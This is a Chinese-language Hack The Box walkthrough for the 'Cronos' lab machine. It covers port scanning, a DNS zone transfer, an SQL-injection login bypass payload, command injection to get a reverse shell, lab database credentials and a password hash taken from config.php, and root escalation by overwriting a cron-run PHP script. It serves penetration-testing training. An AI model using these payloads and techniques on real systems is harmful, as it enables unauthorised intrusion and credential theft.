1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
cronos.md 6.52 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-06-17 21:00 . 修改文件路径

信息收集

端口扫描

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

得到三个版本信息

OpenSSH 7.2p2 存在用户名枚举

ISC BIND 9.10.3-P4 exploitdb只查到了dos洞

Apache httpd 2.4.18

80端口扫目录,换了几个字典都一无所获。重新扫描全量tcp端口,udp端口也没有新发现。

看样子只能是在DNS上做文章了。根据以往的经验把cronos.htb配到host里

dig axfr @10.10.10.13 cronos.htb

发现存在域传送漏洞,暴露全部域名

cronos1

把admin.cronos.htb也配上。

再访问cronos.htb果然有站了,web指纹识别为laravel框架。但几个按钮都指向的外网站点。扫目录也没什么东西。

漏洞利用

访问admin.cronos.htb,一个登录框,尝试进行sql注入。

admin' or 1=1--+

302成功跳转welcome.php注入成功

cronos2

迷惑的是,我在框里输入注入语句,没过(被url编码了),抓包改成原始的样子才行

进来之后就是一个命令注入,最终反弹shell的payload如下图

host变量内容为|reverseshell的url编码内容

cronos3

权限提升

在config.php中得到数据库账号密码

www-data@cronos:/var/www/admin$ cat config.php
cat config.php                                                               
<?php                                                                        
   define('DB_SERVER', 'localhost');                                         
   define('DB_USERNAME', 'admin');                                           
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');                             
   define('DB_DATABASE', 'admin');                                           
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);      
?>    

进入数据库

mysql> show databases;
show databases;                                                                                                                                                                                                                                                                                     
+--------------------+                                                                                                                                                                                                                                                                              
| Database           |                                                                                                                                                                                                                                                                              
+--------------------+                                                                                                                                                                                                                                                                              
| information_schema |                                                                                                                                                                                                                                                                              
| admin              |                                                                                                                                                                                                                                                                              
+--------------------+                                                                                                                                                                                                                                                                              
2 rows in set (0.00 sec)                                                     
                                                                             
mysql> use admin;                                                            
use admin;                                                                   
Reading table information for completion of table and column names           
You can turn off this feature to get a quicker startup with -A               
                                                                             
Database changed                                                             
mysql> show tables;                                                          
show tables;                                                                 
+-----------------+                                                          
| Tables_in_admin |                                                          
+-----------------+                                                          
| users           |                                                          
+-----------------+                                                          
1 row in set (0.00 sec)                                                      
                                                                             
mysql> select * from users;                                                  
select * from users;                                                         
+----+----------+----------------------------------+                         
| id | username | password                         |                         
+----+----------+----------------------------------+                         
|  1 | admin    | 4f5fffa7b2340178a716e3832451e058 |                         
+----+----------+----------------------------------+                         
1 row in set (0.00 sec)

继续查看定时任务,发现有个root执行php

cronos4

这个php正好www-data可写,就从本机下个reverse.php把它替换掉

cronos5

马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助